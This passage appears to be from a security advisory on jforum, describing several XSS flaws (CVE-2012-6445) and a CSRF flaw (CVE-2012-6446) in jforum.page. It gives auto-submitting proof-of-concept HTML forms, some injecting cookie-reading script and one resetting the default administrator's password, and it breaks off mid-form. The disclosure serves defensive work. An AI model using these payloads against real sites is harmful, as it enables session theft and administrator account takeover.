vulnerabilities in jforum, which can be exploited to perform Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Multiple Cross-Site scripting (XSS) vulnerabilities in jforum: CVE-2012-6445&lt;br /&gt; &lt;br /&gt; 1.1 The vulnerability exists due to insufficient filtration of user-supplied input in "start" HTTP POST parameter in "jforum.page" script when sending any message. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in user's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.&lt;br /&gt; &lt;br /&gt; Malicious webpage example:&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/jforum.page&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;f1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;action&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;insertSave&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;module&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;posts&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;preview&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;0&amp;quot;&lt;/font&gt;/&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;forum_id&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;start&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;alert(document.cookie);&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;' /&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;topic_id&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;2&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; document.f1.submit();&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; 1.2 The vulnerability exists due to insufficient filtration of user-supplied input in "action" HTTP POST parameter in "jforum.page" script when posting a reply. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in user's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.&lt;br /&gt; &lt;br /&gt; Malicious webpage example:&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/jforum.page&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;f1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;module&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;posts&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;disable_html&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;forum_id&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;message&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;123&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;quick&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;start&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;0&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;topic_id&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;2&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;action&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;alert(document.cookie);&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;' /&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; document.f1.submit();&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; 1.3 The vulnerability exists due insufficient filtration of user-supplied input in "returnUrl", "forum_id" and "topic_id" HTTP POST parameters in "jforum.page" script. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in administrator's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.&lt;br /&gt; &lt;br /&gt; Malicious webpage example:&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/jforum.page&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method=&amp;quot;post&amp;quot;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;f1&amp;quot;&lt;/font&gt; &amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;action&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;doModeration&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;log_description&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;log_type&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;0&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;module&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;moderation&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;topicMove&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;returnUrl&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;alert(document.cookie);&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;' /&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;forum_id&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;alert(document.cookie);&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;' /&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;topic_id&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;alert(document.cookie);&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;' /&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; document.f1.submit();&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 2) Сross-Site Request Forgery (CSRF) in jforum: CVE-2012-6446&lt;br /&gt; &lt;br /&gt; 2.1 The vulnerability exists due to insufficient verification of the HTTP request origin in "jforum.page" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and change administrator's password.&lt;br /&gt; &lt;br /&gt; PoC (Proof-of-Concept) below will change password to "password" for user with id = 2 (default administrator's ID):&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/jforum.page&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;f1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;action&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;editSave&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;module&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;adminUsers&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;user_id&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;2&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;username&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;username&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;email&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;mail@mail.com&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;new_password&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password_confirm&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;viewemail&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;0&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hideonline&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;0&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;notifyreply&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;notify_always&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;0&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;notify_text&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;0&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;notifypm&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;attachsig&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;allowhtml&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font 